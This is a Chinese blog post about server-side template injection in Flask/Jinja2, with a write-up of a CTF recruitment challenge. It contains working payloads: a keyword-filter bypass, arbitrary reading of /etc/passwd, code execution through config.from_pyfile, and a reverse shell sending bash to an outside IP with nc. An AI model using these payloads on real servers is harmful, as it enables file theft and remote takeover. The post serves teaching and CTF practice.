N0rth3ty's Blog.

浅析SSTI

字数统计: 3.8k阅读时长: 18 min
2018/10/17 Share

SSTI

Server-side Template Injection(简称SSTI)是服务端模板注入攻击,和常见的web注入一样,是服务端接收了用户的输入,将其作为 Web 应用模板内容的一部分,在进行目标编译渲染的过程中,执行了用户插入的恶意内容,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。其影响范围主要取决于模版引擎的复杂性。

利用的难点也在于对使用的模板引擎的判断
image
本文主要讲Flask框架的jinja2模板

注入原理

一段php的代码

1
2
3
4
5
6
7
<?php
require_once dirname(__FILE__).'/../lib/Twig/Autoloader.php';
Twig_Autoloader::register(true);

$twig = new Twig_Environment(new Twig_Loader_String());
$output = $twig->render("Hello {{name}}", array("name" => $_GET["name"])); // 将用户输入作为模版变量的值
echo $output;

使用 Twig 模版引擎渲染页面,其中模版含有 变量,其模版变量值来自于 GET 请求参数 $_GET[“name”]。
显然这段代码并没有什么问题,即使你想通过 name 参数传递一段 JavaScript 代码给服务端进行渲染,也许你会认为这里可以进行 XSS,但是由于模版引擎一般都默认对渲染的变量值进行编码和转义,所以并不会造成跨站脚本攻击。

但是,如果渲染的模版内容受到用户的控制,情况就不一样了。修改代码为:

1
2
3
4
5
6
7
<?php
require_once dirname(__FILE__).'/../lib/Twig/Autoloader.php';
Twig_Autoloader::register(true);

$twig = new Twig_Environment(new Twig_Loader_String());
$output = $twig->render("Hello {$_GET['name']}"); // 将用户输入作为模版内容的一部分
echo $output;

对比上面两种情况,简单的说服务端模板注入的形成终究还是因为服务端相信了用户的输出而造成的

这是一段网站404的代码,采用的是jinjia2的模板

1
2
3
4
5
6
7
8
9
10
11
@app.errorhandler(404)
def page_not_found(e):
template = '''{%% extends "layout.html" %%}
{%% block body %%}
<div class="center-content error">
<h1>Oops! That page doesn't exist.</h1>
<h3>%s</h3>
</div>
{%% endblock %%}
''' % (request.url)
return render_template_string(template), 404

这段代码没有从模板文件而是用 render_template_string() 直接从一个字符串渲染到了html.
从模板文件还是从字符串倒不是什么大问题, 主要是它渲染的那个字符串是和用户的输入(request.url)拼接过的. 要知道这里的 template 存的并不是纯数据而是有一部分控制功能在里面的.
这就产生了代码域与数据域的混淆, 只要出现了这样的情况十有八九就会有洞. 首先最直接的, html模板渲染到html, 插入到html就肯定会有XSS.

然后就是构成SSTI,html模板并不仅仅是html, 还有能被模板渲染引擎解释的模板代码, 这样一来我们就能插入在服务器端执行的代码.

实例

CNSS招新题目有一道SSTI
采用的flask/jinjia2
会根据name参数渲染模板,来看一下这道题
这是题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
from app import app
from flask import render_template_string, request, redirect

head = r'''
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=UTF-8">
<meta charset="UTF-8">
<title>BeatingHeart</title>
<link rel="stylesheet" href="/static/css/normalize.css">
<script>
window.console = window.console || function(t) {};
</script>
</head>

<body translate="no">
<script src="/static/js/jquery.js"></script>
<script>
(function () {
var openComment, styles, time, writeStyleChar, writeStyles;
styles = '/* \n * "Myself" v1.0.5\n * Robot rights protected under BOT License\n * Authored by pen#PwLXXP\n */\n\nbody {\n background-color: #1a1c24; color: #fff;\n font-size: 13px; line-height: 1.4;\n -webkit-font-smoothing: subpixel-antialiased;\n}\n\n/* ... \n *\n * ...hello? \n *\n * Oh hai guys! It\'s me, blacsheep. \n *\n * I\'m just sitting here coding away. \n *\n * Sure, you can watch. \n *\n *\n * This CSS is being injected into a DOM <style> element \n * and written in this <pre> element simultaneously. \n *\n * Confused? Watch!\n *\n */\n\npre { \n position: fixed; width: 48%;\n top: 30px; bottom: 30px; left: 26%;\n transition: left 500ms;\n overflow: auto;\n background-color: #313744; color: #a6c3d4;\n border: 1px solid rgba(0,0,0,0.2);\n padding: 24px 12px;\n box-sizing: border-box;\n border-radius: 3px;\n box-shadow: 0px 4px 0px 2px rgba(0,0,0,0.1);\n}\n\n\n/* \n * Syntax highlighting \n * Colors based on Base16 Ocean Dark\n */\n\npre em:not(.comment) { font-style: normal; }\n\n.comment { color: #707e84; }\n.selector { color: #c66c75; }\n.selector .key { color: #c66c75; }\n.key { color: #c7ccd4; }\n.value { color: #d5927b; }\n\n\n/* \n * Let\'s build my little pen heart.\n */ \n\n\n/* First, we\'ll move this s*** over */\n\npre { left: 50%; }\n\n\n/* Now we can build my heart */\n\n#heart, #echo { \n position: fixed;\n width: 300px; height: 300px;\n top: calc(50% - 150px); left: calc(25% - 150px);\n text-align: center;\n -webkit-transform: scale(0.95);\n transform: scale(0.95);\n}\n\n#heart { z-index: 8; }\n#echo { z-index: 7; }\n\n#heart::before, #heart::after, #echo::before, #echo::after {\n content: \'\';\n position: absolute;\n top: 40px;\n width: 150px; height: 240px;\n background: #c66c75;\n border-radius: 150px 150px 0 0;\n -webkit-transform: rotate(-45deg);\n transform: rotate(-45deg);\n -webkit-transform-origin: 0 100%;\n transform-origin: 0 100%;\n}\n\n#heart::before, #echo::before {\n left: 150px;\n}\n\n#heart::after, #echo::after {\n left: 0;\n -webkit-transform: rotate(45deg);\n transform: rotate(45deg);\n -webkit-transform-origin: 100% 100%;\n transform-origin: 100% 100%;\n}\n\n\n/* It needs some depth */\n\n#heart::after { \n box-shadow:\n inset -6px -6px 0px 6px rgba(255,255,255,0.1);\n}\n\n#heart::before { \n box-shadow:\n inset 6px 6px 0px 6px rgba(255,255,255,0.1);\n}\n\n\n/* Makin it mine. */\n\n#heart i::before {\n content: \''''

template = "{myname}"

foot = r'''\';\n position: absolute;\n z-index: 9;\n width: 100%;\n top: 35%; left: 0;\n font-style: normal;\n color: rgba(255,255,255,0.8);\n font-weight: 100;\n font-size: 30px;\n text-shadow: -1px -1px 0px rgba(0,0,0,0.2);\n}\n\n\n/* \n * Hearts gotta beat. \n */\n\n@-webkit-keyframes heartbeat {\n 0%, 100% { \n -webkit-transform: scale(0.95); \n transform: scale(0.95); \n }\n 50% { \n -webkit-transform: scale(1.00); \n transform: scale(1.00); \n }\n}\n\n@keyframes heartbeat {\n 0%, 100% { transform: scale(0.95); }\n 50% { transform: scale(1.00); }\n}\n\n@-webkit-keyframes echo {\n 0% { \n opacity: 0.1;\n -webkit-transform: scale(1);\n transform: scale(1);\n }\n 100% { \n opacity: 0;\n -webkit-transform: scale(1.4);\n transform: scale(1.4);\n }\n}\n\n@keyframes echo {\n 0% { \n opacity: 0.1;\n transform: scale(1);\n }\n 100% { \n opacity: 0;\n transform: scale(1.4);\n }\n}\n\n\n/* \n * Beautiful! Now for the beating...\n */\n\n#heart, #echo {\n -webkit-animation-duration: 2000ms;\n animation-duration: 2000ms;\n -webkit-animation-timing-function: \n cubic-bezier(0, 0, 0, 1.74);\n animation-timing-function: \n cubic-bezier(0, 0, 0, 1.74);\n -webkit-animation-delay: 500ms;\n animation-delay: 500ms;\n -webkit-animation-iteration-count: infinite;\n animation-iteration-count: infinite;\n -webkit-animation-play-state: paused;\n animation-play-state: paused;\n}\n\n#heart { \n -webkit-animation-name: heartbeat; \n animation-name: heartbeat; \n}\n#echo { \n -webkit-animation-name: echo; \n animation-name: echo; \n}\n\n\n/* \n * Ready... \n */\n\n#heart, #echo {\n\n/* \n * ...set... \n */\n \n -webkit-animation-play-state: running;\n animation-play-state: running;\n \n/* \n * ...beat! \n */\n \n}\n\n/* \n *\n * Wahoo! \n *\n * We did it! \n *\n * I mean *I* did it, but you know, whatever...\n * jake albaugh definitely did not have anything \n * to do with this.\n *\n * This pen loves CodePen! \n * \n * See you later!\n * \n */';
openComment = false;
writeStyleChar = function (which) {
if (which === '/' && openComment === false) {
openComment = true;
styles = $('#style-text').html() + which;
} else if (which === '/' && openComment === true) {
openComment = false;
styles = $('#style-text').html().replace(/(\/[^\/]*\*)$/, '<em class="comment">$1/</em>');
} else if (which === ':') {
styles = $('#style-text').html().replace(/([a-zA-Z- ^\n]*)$/, '<em class="key">$1</em>:');
} else if (which === ';') {
styles = $('#style-text').html().replace(/([^:]*)$/, '<em class="value">$1</em>;');
} else if (which === '{') {
styles = $('#style-text').html().replace(/(.*)$/, '<em class="selector">$1</em>{');
} else {
styles = $('#style-text').html() + which;
}
$('#style-text').html(styles);
return $('#style-tag').append(which);
};
writeStyles = function (message, index, interval) {
var pre;
if (index < message.length) {
pre = document.getElementById('style-text');
pre.scrollTop = pre.scrollHeight;
writeStyleChar(message[index++]);
return setTimeout(function () {
return writeStyles(message, index, interval);
}, interval);
}
};
$('body').append(' <style id="style-tag"></style>\n<span id="echo"></span>\n<span id="heart"><i></i></span>\n<pre id="style-text"></pre>');
time = window.innerWidth <= 578 ? 4 : 16;
writeStyles(styles, 0, time);
}.call(this));
</script>
</body>
</html>
'''


@app.route("/")
def index():
name = request.args.get('name')
if not name:
return redirect('/?name=blacsheep')
if "class" in name:
return redirect('/?name=hacker')
html = template.format(myname = name)
return head + render_template_string(html) + foot

@app.route("/index.php")
def egg():
return render_template_string("<center><h1>What's going on, Young hacker?</h1></center>")

套路是老套路,不过题目新意还是足够的
核心代码就两行

1
2
html = template.format(myname = name)
return head + render_template_string(html) + foot

使用了格式化字符串去写模板,然后把生成的字符串而不是模板传进去渲染,所以导致了SSTI
然后这里过滤掉了class

使用能直接爆出很多信息或者说环境变量,护网杯的web签到其实也是这个套路
image
但是这里并没有什么卵用
接下来看一下注入姿势

1
2
3
4
5
6
7
8
9
10
11
- requests对象,request对象是一个Flask模板全局变量,代表“当前请求对象(flask.request)”。当你在视图中访问request对象时,它包含了你预期想看到的所有信息。在request对象中有一个叫做environ的对象。request.environ是一个字典,其中包含和服务器环境相关的对象。该字典当中有一个shutdown_server的方法,相应的key值为werkzeug.server.shutdown。所以猜猜看我们向服务端注入{{ request.environ\['werkzeug.server.shutdown'\]()}}会发生什么?没错,会产生一个及其低级别的拒绝服务。当使用gunicorn运行应用程序时就不会存在这个方法,所以漏洞就有可能受到开发环境的限制。

- config对象。config对象是一个Flask模板全局变量,代表“当前配置对象(flask.config)”。它是一个类似于字典的对象,其中包含了应用程序所有的配置值,包含若干独特方法的子类:from_envvar,from_object,from_pyfile,以及root_path。在大多数情况下,会包含数据库连接字符串,第三方服务凭据,SECRET_KEY之类的敏感信息。
- 使用非常重要的内省组件: __mro__和__subclasses__属性。__mro__中的MRO代表方法解析顺序,并且在这里定义为,“是一个包含类的元组,而其中的类就是在方法解析的过程中在寻找父类时需要考虑的类”。__mro__属性以包含类的元组来显示对象的继承关系,它的父类,父类的父类,一直向上到object(如果是使用新式类的话)。它是每个对象的元类属性,但它却是一个隐藏属性,因为Python在进行内省时明确地将它从dir的输出中移除了。__subclasses__属性则在这里被定义为一个方法,“每个新式类保留对其直接子类的一个弱引用列表。此方法返回那些引用还存在的子类”。使用__mro__属性来访问对象的父类,使用__subclasses__属性来访问对象的子类。
- { ''.\_\_class\_\_.\_\_mro\_\_}}作为payload注入到SSTI漏洞点当中,使用索引来选择object类。现在我们到达了object类,我们使用__subclasses__属性来dump应用程序中使用的所有类(找到file类的索引)将{{''.\_\_class\_\_.\_\_mro__[2].\_\_subclasses\_\_() }}注入到SSTI漏洞点当中  
- 任意文件读取POC:
file类能够实例化文件对象,而且如果我们实例化了一个文件对象,那么我们就可用使用类似于read的方法来读取相关内容。找到file类的索引,在我的环境中<type 'file'>类的索引是40,我们就注入{{ ''\_\_class__.\_\_mro__[2].\_\_subclasses__\[40]('/etc/passwd').read()}}。所以现在我们就证明了,通过Flask/Jinja2中的SSTI进行任意文件读取是有可能的。
- 第一种代码执行POC:
file类不仅去读文件,而且也可以向目标服务器的可写入路径中写文件,然后我们再通过SSTI漏洞第二种代码执行poc调用from_pyfile方法去compile文件并执行其中的内容。这就是一个二次进攻。将{{ ''.\_\_class__.\_\_mro__[2].\_\_subclasses__()\[40]('/tmp/owned.cfg', 'w').write('<malicious code here>'') }}注入到SSTI漏洞点,然后在通过注入{{ config.from_pyfile('/tmp/owned.cfg') }}调用编译过程。该代码在编译时将会被执行。这就实现了远程代码执行。
- 第二种代码执行POC:
充分地利用from_pyfile方法。将{{ ''.\_\_class__.\_\_mro__[2].\_\_subclasses__()\[40]('/tmp/owned.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}注入到SSTI漏洞点,注入{{ config.from_pyfile('/tmp/owned.cfg') }}来将新的项目添加到config对象中,将{{ config['RUNCMD'\]('/usr/bin/id',shell=True) }}注入到SSTI漏洞点。

但更多的时候可能是其它的框架,比如tornado
在我们判断出存在SSTI之后, 下一步要做的就是仔细阅读文档, 挖掘一下在当前的环境下有哪些可以利用的点

SSTI命令执行getshell需要操作类的方法,但是这里class被过滤了需要绕过
wafbypass也是web永恒的话题
但是黑名单真是太不安全了,总会有各种各样的绕过方法
下面看一下这道题目的思路
这里采用request.args.param这个方法
它可以获取到param参数的值(不知道就去读flask源码
然后去选择object类
payload

1
?name={{request[request.args.param]['__mro__']}}&param=__class__

image
获取的内容进行html实体编码一下,看到object类的索引为9
同样用get参数绕过

1
name={{request[request.args.param][%27__mro__%27][9][request.args.b]()}}&param=__class__&b=__subclasses__

image
找到file类的索引为40
构造payload

1
name={{request[request.args.param][%27__mro__%27][9][request.args.b]()[40](%27/etc/passwd%27).read()}}&param=__class__&b=__subclasses__

成功读取到etc/passwd
尝试getshell
提供两种payload,但思路都是利用了from_pyfile方法。

1
2
3
4
5
6
7
name={{request[request.args.param][%27__mro__%27][9][request.args.b]()[40]('/tmp/evil', 'w').write('from os import system%0aCMD = system')}}&param=__class__&b=__subclasses__
name={{config.from_pyfile('/tmp/evil')}}
name={{%20config[%27CMD%27](%27nc%20-e%20/bin/bash%20123.207.14.45%207777%27)%20}}

name={{request[request.args.param][%27__mro__%27][9][request.args.b]()('/tmp/owned.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}&param=__class__&b=__subclasses__
name={{ config.from_pyfile('/tmp/owned.cfg') }}
name={{%20config[%27RUNCMD%27](%27nc -e /bin/bash 123.207.14.45 7777%27,shell=True)%20}}

写到哪个文件都可以

使用grep直接搜索cnss

1
gerp -r cnss /

/home/blacsheep/oh_th1s_is_f111ll11lg:cnss{10ve_YouB4by@_@}

明天上来看看能不能提权
后续会写一写Python沙盒逃逸的东西

总结

其实我觉得是不大可能有开发会写出这种代码的,所以SSTI其实蛮鸡肋的(但是CTF中出现还是蛮多
因为SSTI产生的核心问题在于在渲染之前动态生成模板
而一般模板是放在固定的文件夹之下的
flask和Django的代码示例

1
2
3
4
5
6
7
8
9
10
11
12
# Flask
@app.route('/')
def safe():
return render_template('home.html', url=request.args.get('p'))
# Django
def home(request):
return render(request, 'home.html', {#DATA#})

class MyView(TemplateView):
template_name = 'home.html'
def get_context_data():
#DATA#

CATALOG
  1. 1. SSTI
  2. 2. 注入原理
  3. 3. 实例
  4. 4. 总结